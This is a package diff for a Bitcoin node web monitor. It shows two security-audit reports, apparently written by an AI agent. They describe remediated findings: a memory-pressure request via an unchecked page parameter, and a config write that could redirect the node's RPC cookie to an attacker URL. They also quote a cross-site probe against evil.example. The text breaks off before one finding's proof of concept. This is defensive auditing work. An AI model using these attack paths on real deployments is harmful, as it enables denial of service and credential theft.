blockyard 0.0.1 → 0.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +679 -0
- package/LICENSE +202 -0
- package/NOTICE +4 -0
- package/README.md +172 -4
- package/SECURITY.md +38 -0
- package/bin/blockyard.js +40 -0
- package/config/pool-map.json +2620 -0
- package/docs/API.md +1575 -0
- package/docs/ARCHITECTURE.md +1307 -0
- package/docs/AUTO-UPDATE.md +269 -0
- package/docs/CONFIGURATION.md +840 -0
- package/docs/DEFECTS.md +813 -0
- package/docs/EFFECTS-AGENTS.md +448 -0
- package/docs/GETTING-STARTED.md +202 -0
- package/docs/INSTALL.md +490 -0
- package/docs/MEASUREMENTS.md +1254 -0
- package/docs/PRIVATE-LEADERBOARD.md +230 -0
- package/docs/RULES.md +681 -0
- package/docs/SECURITY-AUDIT-2026-09-14.md +177 -0
- package/docs/SECURITY-AUDIT.md +258 -0
- package/docs/SECURITY.md +195 -0
- package/docs/STATE-2026-09-09.md +200 -0
- package/docs/TROUBLESHOOTING.md +298 -0
- package/docs/USER-GUIDE.md +1022 -0
- package/package.json +53 -5
- package/public/404.html +9 -0
- package/public/css/app.css +1785 -0
- package/public/index.html +893 -0
- package/public/js/about.js +112 -0
- package/public/js/agents.js +964 -0
- package/public/js/app.js +1312 -0
- package/public/js/arkanoid.js +806 -0
- package/public/js/blockanoid.js +347 -0
- package/public/js/blockout.js +347 -0
- package/public/js/blockpack.js +428 -0
- package/public/js/blockscene3d.js +2678 -0
- package/public/js/breakout.js +224 -0
- package/public/js/charts.js +635 -0
- package/public/js/depthchart.js +311 -0
- package/public/js/details3d.js +2957 -0
- package/public/js/explorer.js +405 -0
- package/public/js/feepalette.js +149 -0
- package/public/js/fmt.js +162 -0
- package/public/js/goggles.js +886 -0
- package/public/js/kiosk.js +41 -0
- package/public/js/login.js +83 -0
- package/public/js/markets.js +357 -0
- package/public/js/mining.js +1138 -0
- package/public/js/panels.js +966 -0
- package/public/js/pricechart.js +188 -0
- package/public/js/settings.js +1014 -0
- package/public/js/tetris.js +226 -0
- package/public/js/tetrust.js +356 -0
- package/public/js/tetsound.js +175 -0
- package/public/login.html +33 -0
- package/scripts/blockfile-measure.js +156 -0
- package/scripts/browser-check.mjs +286 -0
- package/scripts/check.js +173 -0
- package/scripts/decode-check.js +81 -0
- package/scripts/doc-counts.js +109 -0
- package/scripts/donate-qr.py +20 -0
- package/scripts/fake-node.js +534 -0
- package/scripts/index-bench.js +216 -0
- package/scripts/index-benchmark.js +117 -0
- package/scripts/index-build.js +40 -0
- package/scripts/live-render-check.mjs +89 -0
- package/scripts/manage-users.js +132 -0
- package/scripts/motion-check.mjs +138 -0
- package/scripts/pool-map.js +157 -0
- package/scripts/setup.js +410 -0
- package/scripts/shots.mjs +272 -0
- package/scripts/smoke.sh +327 -0
- package/scripts/ui.js +174 -0
- package/server/auth/sessions.js +221 -0
- package/server/auth/users.js +243 -0
- package/server/chain/blockfile.js +234 -0
- package/server/chain/index/build.js +193 -0
- package/server/chain/index/heights.js +36 -0
- package/server/chain/index/live.js +276 -0
- package/server/chain/index/rows.js +145 -0
- package/server/chain/index/store.js +154 -0
- package/server/chain/index/worker.js +109 -0
- package/server/chain/tx.js +310 -0
- package/server/collect/gbt.js +229 -0
- package/server/collect/logparse.js +765 -0
- package/server/collect/logtail.js +189 -0
- package/server/collect/markets.js +333 -0
- package/server/collect/mining.js +333 -0
- package/server/collect/monitor.js +2516 -0
- package/server/collect/nextblock.js +275 -0
- package/server/collect/sync.js +386 -0
- package/server/config.js +620 -0
- package/server/http/api.js +1275 -0
- package/server/http/explorer.js +418 -0
- package/server/http/server.js +412 -0
- package/server/http/sse.js +176 -0
- package/server/http/static.js +212 -0
- package/server/main.js +628 -0
- package/server/netinfo.js +253 -0
- package/server/rpc/allowlist.js +130 -0
- package/server/rpc/client.js +414 -0
- package/server/store/audit.js +148 -0
- package/server/store/history.js +220 -0
- package/server/store/ledger.js +290 -0
- package/server/store/ring.js +173 -0
- package/server/util/fmt.js +29 -0
- package/systemd/blockyard.service +100 -0
|
@@ -0,0 +1,177 @@
|
|
|
1
|
+
# BlockYard Security Audit — 2026-09-14
|
|
2
|
+
|
|
3
|
+
> **STATUS: REMEDIATED — 2026-09-14, the same day.** M1: `summaryForKey` never sizes its ring by the
|
|
4
|
+
> page number -- a page past 4,096 rows counts the history first and keeps at most what exists
|
|
5
|
+
> (`test/chain-index.test.js` asserts a `page=1,000,000` request allocates nothing for it). M2: rows
|
|
6
|
+
> above the node's tip are excluded from the count, the balance and the page and reported as
|
|
7
|
+
> `index.postTip`, which the page shows as a caveat. L1: the pool key is escaped like its
|
|
8
|
+
> neighbours. L2: a summary with more than 2,000 inputs and outputs is never cached. L3: the
|
|
9
|
+
> shape-liveness fixture lives in a `mkdtemp` directory. L4: `audit.jsonl` and `history.json` are
|
|
10
|
+
> created 0600 (`pool-map.json` is a public curated map and stays as it is). I1 is an open
|
|
11
|
+
> decision, unchanged. The report below is kept as written.
|
|
12
|
+
|
|
13
|
+
|
|
14
|
+
- **Project:** BlockYard — a multi-user web monitor for a Bitcoin Core node (`/storage/blockyard`)
|
|
15
|
+
- **Audit date:** 2026-09-14 (single session, sequential)
|
|
16
|
+
- **Scope:** full code + security re-audit of `server/` (http, auth, rpc, collect, store, chain, netinfo, config, main), `public/` browser code, `scripts/`, `systemd/`, `test/` infrastructure, plus deployment posture and secret hygiene on this box
|
|
17
|
+
- **Repo state at audit:** branch `main` @ `f9dae64`; working tree carries one untracked file, `scripts/check.js` (a read-only pre-flight CLI using the already-audited `RpcClient`/blockfile readers; no security findings)
|
|
18
|
+
- **Relation to the previous audit:** this is the follow-up to `docs/SECURITY-AUDIT-2026-09-13.md`. Its one HIGH finding (node-connection probe credential leak) and the same-day fixes were re-verified against the live code and the live server; the new attack surface added since (the address index `server/chain/`, the explorer `server/http/explorer.js`, the markets feed, the server-stored display settings) is what this report concentrates on. ~30 commits / ~9,200 inserted lines since that audit.
|
|
19
|
+
- **Method:** manual review of every security-relevant module; repo-wide pattern scans (eval/Function, child_process, fs-write-from-request-data, path.join-from-request-data, hardcoded secrets, prototype pollution via config merge, ReDoS-prone regexes on request data); frontend sink tracing against `fmt.esc()` coverage by injection context; dynamic verification — `npm test`, `bash scripts/smoke.sh` against a real booted server, live cross-site CSRF probes against the running monitor on port 21000, and an attempt to reproduce each new finding over HTTP.
|
|
20
|
+
- **Report generator model:** GLM-5.3-Flash-EXL3 (served via 198.51.100.20:8888), running as Hermes Agent by Nous Research.
|
|
21
|
+
|
|
22
|
+
## Executive summary
|
|
23
|
+
|
|
24
|
+
| verdict | counts |
|
|
25
|
+
|---|---|
|
|
26
|
+
| High findings | **0** |
|
|
27
|
+
| Medium findings | 1 |
|
|
28
|
+
| Low findings | 4 |
|
|
29
|
+
| Informational / hardening | 3 |
|
|
30
|
+
| Positive observations | 14 |
|
|
31
|
+
| Prior audit's HIGH finding | **still fixed**, re-verified live |
|
|
32
|
+
| Test evidence | 841/849 unit (8 environmental failures, one cause) · 109/109 smoke |
|
|
33
|
+
|
|
34
|
+
The 2026-09-13 remediations hold. The CSRF/credential fix was probed on the running server: a cross-site POST to `/api/config/node/test` is refused with 403 and the reason names the check. The discipline that audit credited — fail-closed gates everywhere, honest absence instead of invented numbers, secrets never logged — is intact in all the new code.
|
|
35
|
+
|
|
36
|
+
The one medium is in the newest code path, the local address index: **`/api/x/address` hands an unvalidated `page` parameter into an allocation sized by the page number**, so a single unauthenticated GET can make the monitor allocate ~525 MB and walk an address's entire history in one request. It is not remotely exploitable for code execution, but on a 1 GB-class box it is a cheap way to hurt the process that also reads the node's RPC cookie.
|
|
37
|
+
|
|
38
|
+
---
|
|
39
|
+
|
|
40
|
+
## Verification evidence (what was actually run)
|
|
41
|
+
|
|
42
|
+
| check | result |
|
|
43
|
+
|---|---|
|
|
44
|
+
| `npm test` | 849 tests: **841 pass, 8 fail** — all 8 failures share one cause (Finding L3): `test/shape-liveness.test.js:22` writes a fixture to the fixed path `/tmp/shapes-fake.log`, which on this box exists owned by another user; `open()` fails with EACCES. No code regression behind them. |
|
|
45
|
+
| `bash scripts/smoke.sh` | **109/109 pass** against a real booted server, including: "the read-only RPC console works with no CSRF token", "open does not mean unguarded: writes still denied", "node writes are refused with no identity". |
|
|
46
|
+
| Live probe of the 09-13 fix | `POST /api/config/node/test` with `Origin: http://evil.example` → **403** `cross-site request refused…`; same-origin POST → 400 (route reached, bad body), confirming the Origin/Sec-Fetch-Site gate sits in front of the probe and the probe itself answers only same-origin callers. |
|
|
47
|
+
| Live probe of Finding M1 | `GET /api/x/address?addr=<genesis address>&page=999999` → 200, `pages: 2632`, empty `txs`, ~5 ms. Allocation did not show in RSS at this size (see the finding for why the static analysis still stands). |
|
|
48
|
+
| Secret hygiene | `git ls-files` greps for credential-shaped strings: no secrets in tracked files. `config/local.json` (real `rpcUser`/`rpcPassword`, a cookieFile path) is **0600 and gitignored**, never committed (`git log --all -- config/local.json data/` is empty). `data/users.json`, `sessions.json` are 0600. |
|
|
49
|
+
|
|
50
|
+
---
|
|
51
|
+
|
|
52
|
+
## Finding M1 — MEDIUM: `/api/x/address` `page` parameter drives an unbounded allocation and a full-history walk
|
|
53
|
+
|
|
54
|
+
**Files:** `server/chain/index/store.js:120-133` (`summaryForKey`), `server/http/explorer.js:62` (`pageOf`), `server/http/explorer.js:279` (call site), route `GET /api/x/address` (`server/http/api.js:424`, `auth: 'any'`).
|
|
55
|
+
|
|
56
|
+
```js
|
|
57
|
+
// explorer.js:62 — page is clamped to 0..1,000,000
|
|
58
|
+
const pageOf = (q) => Math.max(0, Math.min(1_000_000, Math.floor(Number(q?.page) || 0)));
|
|
59
|
+
// ...
|
|
60
|
+
const sum = store.summaryForKey(scriptKey(script), { limit: PAGE, skip: page * PAGE }); // explorer.js:279
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
```js
|
|
64
|
+
// store.js:124-130 — skip is trusted: the ring buffer is allocated from it
|
|
65
|
+
const keep = Math.max(0, skip) + Math.max(0, limit);
|
|
66
|
+
const ring = Buffer.allocUnsafe(Math.max(1, keep) * ROW); // ROW = 21
|
|
67
|
+
this.forEachRow(key, (buf, at) => { ... });
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
`page` is clamped to a million — but a million pages × 25 rows/page × 21 bytes/row = **~525 MB of `Buffer.allocUnsafe` per request**, for one unauthenticated GET. With accounts off (the shipped default) there is no session, no CSRF token needed on a GET, and no rate limit tighter than the generic per-address token bucket (40 req/s burst, capacity 120 — several such requests fit in a burst). The same line also makes the handler **walk every row of the address's history** (`forEachRow` visits all `txCount` rows even though only a page is kept), so a whale address (65,792 rows for the genesis address, measured live) costs a full scan per request regardless of the allocation.
|
|
71
|
+
|
|
72
|
+
Two factors blunt it in practice, and one hides it from a naive PoC:
|
|
73
|
+
|
|
74
|
+
- the allocation is a single `allocUnsafe` — V8 serves it from fresh mmap'd pages lazily, so RSS does not jump until the pages are touched, and the `ring` is written only at `((txCount-1) % keep) * ROW` positions modulo the actual row count. `txCount 65,792 < keep 25,000,025`, so writes stay inside the first 1.4 MB — the 525 MB is allocated but mostly never touched. That is why the live probe above moved RSS by <1 MB.
|
|
75
|
+
- explorer.js resolves the address to a script and calls `validateaddress` first; a syntactically invalid address is refused before the index is opened. A valid address is all an attacker needs.
|
|
76
|
+
|
|
77
|
+
The exposure is therefore: cheap **memory pressure and event-loop stalls** (an address with millions of rows would make `forEachRow` run for seconds per request; the ring write pattern then touches pages striding `keep × ROW` apart, which after the row count exceeds one page-deep ring starts faulting across the whole allocation). On the box this repo documents (the monitor and the node share a machine; the process holds the node RPC cookie), degrading the monitor is a real cost even without a compromise. Repeatable by one LAN client at the rate-limiter's burst ceiling.
|
|
78
|
+
|
|
79
|
+
**Recommendation:** clamp `page` against reality, not against a fantasy bound — `skip = min(page * PAGE, max(0, txCountCeiling))` where the ceiling comes from the index's own row budget (e.g. refuse `page * PAGE > 1_000_000` rows outright with a sentence), or better: implement `summaryForKey`'s paging the way its own comment says ("a page deep into a huge history keeps skip+limit rows, never the whole history") by counting rows and reading only the wanted window. One line of honest rejection beats 525 MB of untouched buffer.
|
|
80
|
+
|
|
81
|
+
---
|
|
82
|
+
|
|
83
|
+
## Finding M2 — LOW/MEDIUM: the address page serves post-reorg history without checking heights against the node's tip
|
|
84
|
+
|
|
85
|
+
**Files:** `server/chain/index/store.js:126-133`, `server/http/explorer.js:291-315`.
|
|
86
|
+
|
|
87
|
+
`summaryForKey` builds `recent` from the newest `skip+limit` rows **of the index**, and `addressFromIndex` passes them on with `delta` amounts — even when those rows' heights are **above the node's current tip**. During a deep reorg (or after the node itself rolls back past the index), the explorer page keeps listing transactions, balances and per-tx deltas for blocks that are no longer in the chain. The response does carry `index.behind`, and the base/layer reorg case is explicitly declared unrecoverable (`live.js:19-20` marks the index stale only when the reorg reaches folded data) — but a tail reorg (live.js rolls back correctly) still serves the old rows for any page whose blocks were dropped, and nothing on the page says those rows are gone from the chain. The monitor's own rule 8 — "stale must be visibly stale" — is met for charts and not met for this page.
|
|
88
|
+
|
|
89
|
+
Exposure is integrity, not confidentiality: a LAN viewer is shown chain history that is no longer history. Severity low because it self-corrects at the next poll and because the honest `behind` figure is present; it is listed at all because this project's standard elsewhere is higher than "eventually correct".
|
|
90
|
+
|
|
91
|
+
**Recommendation:** filter `sum.recent` rows to `r.height <= nodeTip` (the tip is already fetched two lines up) and count the filtered-out rows into a `postTip` figure shown on the page.
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
## Finding L1 — LOW: the pool table interpolates a third-party string into an HTML attribute without escaping
|
|
96
|
+
|
|
97
|
+
**File:** `public/js/mining.js:1113`
|
|
98
|
+
|
|
99
|
+
```js
|
|
100
|
+
<td><span class="bdot" data-pool-key="${p.poolKey ?? p.poolLabel ?? ''}"></span>
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
Every neighbouring interpolation on the page goes through `fmt.esc()`; this one does not. Today it is **not reachable as XSS**: `p.poolKey` is always present on `byPool` rows (`server/collect/mining.js:269` refuses rows without a pool key), and pool keys are the output of `cleanTag()` — constrained to `[A-Za-z0-9 ._-]{1,24}`, lowercased — so the attribute can only ever hold those characters. `poolLabel` (which comes from the third-party `mempool/mining-pools` map fetched by `scripts/pool-map.js`, and after that from a file an operator may hand-edit) is only consulted when `poolKey` is falsy, which the ledger makes impossible.
|
|
104
|
+
|
|
105
|
+
It is still the one sink in the codebase where a third-party-derived string reaches markup unescaped, one refactor away from being live (`data-pool-key` also feeds `poolIndex()` for colouring). CSP `script-src 'self'` would stop script execution even if it went live, but attribute injection can still break out of the element and forge sibling markup.
|
|
106
|
+
|
|
107
|
+
**Recommendation:** `data-pool-key="${fmt.esc(p.poolKey ?? p.poolLabel ?? '')}"` — one function call, and the file's own convention is restored.
|
|
108
|
+
|
|
109
|
+
## Finding L2 — LOW: `txCache` bounds entries, not bytes
|
|
110
|
+
|
|
111
|
+
**Files:** `server/http/explorer.js:32-39` (`CACHE_MAX = 3000` entries), `server/http/explorer.js:65-97` (`txSummary` maps **every** `tx.vout`/`tx.vin`, unsliced), `server/http/explorer.js:199` (`xTx` caches the full summary).
|
|
112
|
+
|
|
113
|
+
An LRU of 3,000 decoded transaction summaries is a sensible *count* cap, but one decoded summary can be multiple megabytes (a 1 MB transaction can carry ~20,000 outputs; `txSummary` builds an object per output with address strings, and `xTx`'s response returns all of them even though it advertises `outputsShown: 500`). A LAN client who walks a few thousand known huge historical transactions can grow the heap by hundreds of MB and keep it there — the cache evicts by recency, so the giants stay resident as long as they keep being requested.
|
|
114
|
+
|
|
115
|
+
**Recommendation:** cap the cache by approximate bytes (e.g. refuse to cache summaries above ~64 KB, or keep a running byte count and evict oldest until under ~64 MB total), and slice `tx.vout`/`tx.vin` in `txSummary` to the page's real need.
|
|
116
|
+
|
|
117
|
+
## Finding L3 — LOW: tests write to a fixed, shared `/tmp` path
|
|
118
|
+
|
|
119
|
+
**File:** `test/shape-liveness.test.js:22` — `logFile = '/tmp/shapes-fake.log'`.
|
|
120
|
+
|
|
121
|
+
Eight of 849 tests fail on this box for one reason: the fixture path is a fixed name in the shared `/tmp`, owned by another user, and Linux `fs.protected_regular` makes opening it EACCES even for root. Beyond breaking the suite on any multi-user machine, a predictable filename in a world-writable directory is symlink-bait: a hostile local user who pre-creates `/tmp/shapes-fake.log` as a symlink gets the test to write through it (tests run as whoever runs them). This is test-hygiene, not a product exposure.
|
|
122
|
+
|
|
123
|
+
**Recommendation:** `fs.mkdtempSync(path.join(os.tmpdir(), 'shapes-'))` per test file, the pattern `test/helpers/http.js` already uses for its own fixtures.
|
|
124
|
+
|
|
125
|
+
## Finding L4 — LOW: runtime state files drift from the 0600 posture
|
|
126
|
+
|
|
127
|
+
**Files (measured `stat` on this box):** `data/audit.jsonl` and `data/pool-map.json` are **0664**, `data/history.json` is **0644**, while `data/users.json`, `data/sessions.json`, `config/local.json` and `config/blockyard.json` are correctly 0600.
|
|
128
|
+
|
|
129
|
+
The audit trail records who did what; history.json holds node-derived operational detail. On a single-user box the group/other read bit is noise; on a box with other local accounts (this one has them), the audit log readable by another local user defeats part of its purpose. Nothing writes these files with an explicit mode — they inherit the process umask.
|
|
130
|
+
|
|
131
|
+
**Recommendation:** create `data/audit.jsonl` (and siblings) with mode 0600 in `AuditLog.append`/`History` (the codebase already does exactly this for users/sessions via `fsp.open(tmp, 'w', 0o600)`), or set `UMask=0077` in the systemd unit.
|
|
132
|
+
|
|
133
|
+
---
|
|
134
|
+
|
|
135
|
+
## Informational
|
|
136
|
+
|
|
137
|
+
**I1 — Open mode lets any reachable client rewrite the node connection that credentials will later follow.** `POST /api/config/node` (`auth:'any'`, `csrf:true`) is `configWriteAllowed` = no-op while `auth.enabled: false` (the shipped default), by documented operator decision ("With accounts OFF there is no identity to check, and the operator chose to allow it rather than demand BLOCKYARD_AUTH just to point the monitor at a node" — `server/http/api.js:58-60`). The probe route never sends credentials to a new endpoint (09-13 fix, re-verified), but a *saved* config does: a LAN client can POST `{ rpcUrl: attacker, datadir: <real datadir> }`, and after a restart the monitor reads the real node's cookie and sends it to the attacker's URL. The Origin/Sec-Fetch-Site gate blocks browsers from being tricked into it (verified live above), so this needs a deliberate direct request from the LAN — the same class of actor who could edit `config/local.json` if they had shell, but who needs nothing more than the port to do it this way. The role ceiling does not apply because the danger is server-side state, exactly the reasoning the 09-13 audit used for the probe. If the operator's posture ("assume a safe network", quoted in the same file) changes, these two routes are where the change belongs; a middle option is to refuse saving a *different* `rpcUrl` together with an *existing* datadir unless authenticated.
|
|
138
|
+
|
|
139
|
+
**I2 — Allowlist prefix classes stay as the 09-13 audit left them.** `classifyMethod` remains deny-exact → deny-prefix → allow-prefix → default-deny, with `getnewaddress`/`getrawchangeaddress` pinned in `DENY_EXACT` despite the `get` prefix. The prior audit recorded keeping prefix matching as an open decision; nothing in the ~30 commits since changes it. Carried forward, unchanged, by decision.
|
|
140
|
+
|
|
141
|
+
**I3 — `logparse.js` remains untested against real Bitcoin Core lines — and stays off.** The log source is off by default, boot prints a loud warning that the parsers target an experimental node grammar, and `test/log-core-unsupported.test.js` pins that Core lines come back unstructured and misdated. This is the correct posture; the only risk left is someone setting `BLOCKYARD_LOG_SOURCE=1` against Core, and the boot now argues with them in plain text when they do.
|
|
142
|
+
|
|
143
|
+
---
|
|
144
|
+
|
|
145
|
+
## Things done right (observed this pass, not inherited from last audit)
|
|
146
|
+
|
|
147
|
+
1. **Fail-closed everywhere, verified live.** Malformed `allowCidrs` entries are refused at boot and can never admit a client (`netinfo.js:ipDecision`); open-mode cross-site writes are refused by Origin/Sec-Fetch-Site (probe returned 403 on the running server); open mode + enabled node writes is a *fatal* config, not a warning (`config.js:563`).
|
|
148
|
+
2. **The CSRF fix's comment tells the next reader why the naive re-introduction is wrong.** `api.js:739-752` documents that dropping the spread alone does not fix the credential leak because `candidateNode` falls back to the configured datadir — the rule had to be about the destination. This is the difference between a patch and a defence.
|
|
149
|
+
3. **Admin ceiling held in open mode by construction.** `ANONYMOUS_USER` is frozen at `viewer`; `/api/users`, `/api/audit`, `/api/password` still 403 with a message naming `BLOCKYARD_AUTH=1` (smoke-asserted, not just claimed).
|
|
150
|
+
4. **Every request-data → path/regex sink in the new explorer code is guarded:** addresses must match `[A-Za-z0-9]{14,100}` before touching the index; txids/block hashes `HEX64`; heights `\d{1,9}` with an above-tip refusal on `/api/block`; paging clamped; URL-context interpolation always through `encodeURIComponent`.
|
|
151
|
+
5. **The index reader treats on-disk data as hostile.** Row format bounds checked (`MAX_HEIGHT`, `MAX_POS`), undo pairing proven by Core's checksum rather than assumed, live-log replay stops at the first short/bad-CRC record and truncates there, `unxor` handles Core 28's preallocated zero tails. Nothing trusts a file because the node wrote it.
|
|
152
|
+
6. **The RPC lane is a DoS budget, and it got stricter.** One in-flight request, spacing, rate ceiling, breaker with dequeued-work handling, priority queue, 512 MB hard cap on any single node response (`client.js:304`), batched explorer calls at bounded `maxWaitMs`. The code quotes its own measurements for why.
|
|
153
|
+
7. **Bounded everything else that faces a socket:** body 1 MB, settings blob 256 KB, event batches capped and trimmed, session/user/audit stores rotated or swept, `blockTxids` capped at 64, rate-limiter map self-prunes at 5,000 keys.
|
|
154
|
+
8. **Credentials never rest and never echo.** Cookie re-resolved on 401 rather than cached; log redaction is shape-based (`password|secret|cookie|token|…`), applied recursively to audit rows with a stated reason for what is *not* redacted; stdout scrubber catches `user:pass@` and `password=…` shapes; bootstrap admin password printed exactly once.
|
|
155
|
+
9. **Audit trail now redacts by shape, not by name** — the 09-13 fix for nested action arguments is in place (`main.js:250-258`), and rotation is budgeted with a visible `headroomBytes`.
|
|
156
|
+
10. **`settings.js` `normalise()` makes the server-stored settings blob structurally safe:** every value is clamped to option lists, numeric ranges, or a hex-colour regex before any consumer or `value="${v}"` interpolation sees it — the server stores an opaque blob, the client refuses to trust it. (This closed the stored-XSS question before it could be asked.)
|
|
157
|
+
11. **The About page draws the line between machine shape and owner identity** and its comment names `test/privacy.test.js` as the enforcement — OS/arch/CPU model are readable pre-auth, but hostname, username, network addresses and environment are deliberately absent from `/api/about`.
|
|
158
|
+
12. **syslog-grade honesty in the systemd unit:** no machine facts in the committed file (they live in the gitignored `local.json`), an interpreter story with measured dates, `Restart=always` justified by a recorded outage, and hardening (NoNewPrivileges, kernel tunables/modules/control-groups locked, RestrictSUIDSGID) sized to what the service actually needs.
|
|
159
|
+
13. **Zero runtime dependencies** — no supply-chain surface at all; the one `child_process` use (`pool-map.js:115`) shells out to `curl` with a constant URL and array args.
|
|
160
|
+
14. **Tests that assert security behaviour, not structure:** CSP assertions, session-TTL relationship (72 h absolute / 8 h idle, the 09-13 inversion bug pinned by test), random-password distribution, audit redaction, open-mode write refusal — all present and passing.
|
|
161
|
+
|
|
162
|
+
## Recommendations, in priority order
|
|
163
|
+
|
|
164
|
+
1. **Fix M1** — clamp `page` against a real row budget in `summaryForKey` (or window the read). Small change, removes the only finding that lets one GET pressure the process.
|
|
165
|
+
2. **Fix L1** — escape `data-pool-key` (one call), and consider a repo grep test that fails on unescaped `${` inside attribute context for the pool/explore templates, in the spirit of the existing `style="` guard in `test/csp.test.js`.
|
|
166
|
+
3. **Bound the cache (L2)** by bytes as well as count.
|
|
167
|
+
4. **Adopt 0600 for runtime files (L4)** or `UMask=0077` in the unit.
|
|
168
|
+
5. **Fix the test fixture path (L3)** so the suite is green on any machine — 841/849 today is an environment artefact, and a red suite dulls the alarm a real regression deserves.
|
|
169
|
+
6. **M2** — filter post-tip rows on the address page so stale chain data never renders as current.
|
|
170
|
+
7. **Revisit I1** whenever the "assume a safe network" posture is revisited: config writes from unauthenticated LAN clients decide where the node's cookie is sent after the next restart.
|
|
171
|
+
|
|
172
|
+
## Scope and limits
|
|
173
|
+
|
|
174
|
+
- Reviewed line-by-line: `server/http/{server,api,static,sse,explorer}.js`, `server/auth/{users,sessions}.js`, `server/rpc/{client,allowlist}.js`, `server/config.js`, `server/netinfo.js`, `server/store/{audit,history}.js` (history via its write path), `server/chain/tx.js`, `server/chain/blockfile.js`, `server/chain/index/{store,rows,live,build,worker}.js`, `server/collect/markets.js`, targeted review of `server/collect/monitor.js` (config/credential flow, unbounded-state spots, block-row rendering) and `server/collect/{mining,gbt,nextblock,logparse,logtail,sync}.js` via their exported contracts and call sites; `public/js/{app,mining,explorer,markets,about,settings,fmt,panels,login}.js` sink tracing plus sweep of the remainder; `scripts/*`; `systemd/blockyard.service`; `test/` infrastructure; repo-wide pattern scans.
|
|
175
|
+
- **Not re-tested end-to-end this pass:** the full monitor tier machinery under a hostile node (the 09-13 audit's dynamic coverage stands; the lane's caps were re-read, not re-measured); browser-engine behaviour behind the CSP (declared out of scope there and here — it needs a real engine).
|
|
176
|
+
- The 8 failing tests are environmental (Finding L3), verified individually to fail on `EACCES` at the fixture path, not on assertions.
|
|
177
|
+
- Per this project's privacy rule, the model-host address above is an RFC 5737 documentation address; no credential value, real peer address, or user datum appears in this report.
|
|
@@ -0,0 +1,258 @@
|
|
|
1
|
+
# BlockYard Security Audit
|
|
2
|
+
|
|
3
|
+
> **STATUS: REMEDIATED — 2026-09-13, the same day.** Finding 1 (HIGH) is fixed: the node-connection
|
|
4
|
+
> probe now sends credentials only to the endpoint the monitor is already configured for, and open
|
|
5
|
+
> mode refuses cross-site state-changing requests by `Origin` / `Sec-Fetch-Site`. The exploit below
|
|
6
|
+
> was re-run against the patched code and the collector received no `Authorization` header.
|
|
7
|
+
> Findings 4, 5, 8 and 10 are fixed in the same pass. Finding 2 (allowlist prefixes) is open by
|
|
8
|
+
> decision. Regression tests: `test/config-node-security.test.js`, `test/session-ttl.test.js`,
|
|
9
|
+
> `test/random-password.test.js`, `test/audit-redaction.test.js`.
|
|
10
|
+
>
|
|
11
|
+
> The proof of concept is kept deliberately: it is the blueprint for the regression test and the
|
|
12
|
+
> record of how the finding was verified. It is not a live weapon against a current build.
|
|
13
|
+
>
|
|
14
|
+
> Two corrections to the report's own metadata: the address it gave for the model host has been
|
|
15
|
+
> replaced with an RFC 5737 documentation address, per this project's privacy rule, and the
|
|
16
|
+
> project line names the product and the node as they are now (BlockYard, Bitcoin Core).
|
|
17
|
+
|
|
18
|
+
- **Project:** BlockYard — a multi-user web monitor for a Bitcoin Core node (`/storage/blockyard`)
|
|
19
|
+
- **Audit date:** 2026-09-13 (single session)
|
|
20
|
+
- **Scope:** full code + security audit of `server/`, `public/`, `scripts/`, `test/` (~44,100 lines across 154 files), the deployment posture (systemd unit, port guard, config defaults), and the `SECURITY.md` / `docs/SECURITY.md` claims vs. code
|
|
21
|
+
- **Repo state at audit:** branch `main` @ `4c3e952`; working tree carries only screenshot re-shoots plus untracked `scripts/shots.mjs` (a zero-dependency CDP screenshot driver; reviewed, no security findings)
|
|
22
|
+
- **Method:** manual review of every security-relevant module (HTTP server, static, API routes, auth users/sessions, RPC client/allowlist, SSE hub, netinfo CIDR gate, audit store, config validation, markets feed, explorer server and client, telemetry/audit routes); repo-wide pattern scans (hardcoded secrets, eval/Function, child_process, DOM sinks, weak crypto, TLS relaxation, CORS wildcards, path-join-from-input); frontend XSS sink tracing against `fmt.esc()` coverage; dynamic verification — `npm test` (742/742 pass), `bash scripts/smoke.sh` (109/109 pass), and a **live exploit PoC** (Finding 1).
|
|
23
|
+
- **Report generator model:** GLM-5.3-Flash-EXL3 (served via 198.51.100.20:8888), running as Hermes Agent by Nous Research.
|
|
24
|
+
|
|
25
|
+
## Executive summary
|
|
26
|
+
|
|
27
|
+
| verdict | counts |
|
|
28
|
+
|---|---|
|
|
29
|
+
| High findings | **1** — credential leak, CONFIRMED with PoC |
|
|
30
|
+
| Medium findings | 3 |
|
|
31
|
+
| Low findings | 6 |
|
|
32
|
+
| Positive / defence-in-depth observations | 14 |
|
|
33
|
+
| Test evidence | 742/742 unit · 109/109 smoke |
|
|
34
|
+
|
|
35
|
+
This codebase is unusually security-disciplined for a LAN monitor: real CSRF (double-submit, header-or-body only, timing-safe compare), scrypt with per-user stored parameters and transparent cost upgrades, token-hashed sessions, timing-safe password compares including an equal-KDF-cost decoy hash for unknown users, a default-deny RPC allowlist with deny-before-allow ordering, symlink-aware plus realpath-containment static serving, a byte-exact CIDR gate that fails closed, a hard `viewer` ceiling for open access, and a docs culture where every security claim cites a measurement and a date.
|
|
36
|
+
|
|
37
|
+
**But the discipline has a hole, and it is in the newest, least-reviewed code.** The node-connection form added 2026-09-12 (`/api/config/node/test`) combines two shortcuts into a **confirmed, reproduced credential leak**: an RPC probe that inherits the monitor's node cookie, aimed by a request that needs neither a session nor a CSRF token. One HTTP POST moves the monitor's node RPC credential to any URL the requester can name.
|
|
38
|
+
|
|
39
|
+
> Historical note: the PoC in Finding 1 was reproduced against commit `4c3e952` on 2026-09-13. Once the fix ships (roadmap in the last section), this finding and its PoC become historical record — the PoC stays here on purpose, as the regression test's blueprint and the record of how it was verified.
|
|
40
|
+
|
|
41
|
+
---
|
|
42
|
+
|
|
43
|
+
## Finding 1 — HIGH, CONFIRMED WITH POC: `/api/config/node/test` leaks the node RPC credential, and the route is CSRF-exempt in open mode
|
|
44
|
+
|
|
45
|
+
**Files:** `server/http/api.js:722–749` (route), `server/http/api.js:735–736` (probe construction), `server/http/api.js:65–67` (`configWriteAllowed`), `server/http/server.js:202–218` (CSRF gate and its `&& session` clause), `server/config.js:569–589` (`resolveCookie`)
|
|
46
|
+
|
|
47
|
+
**The mechanism, in three parts:**
|
|
48
|
+
|
|
49
|
+
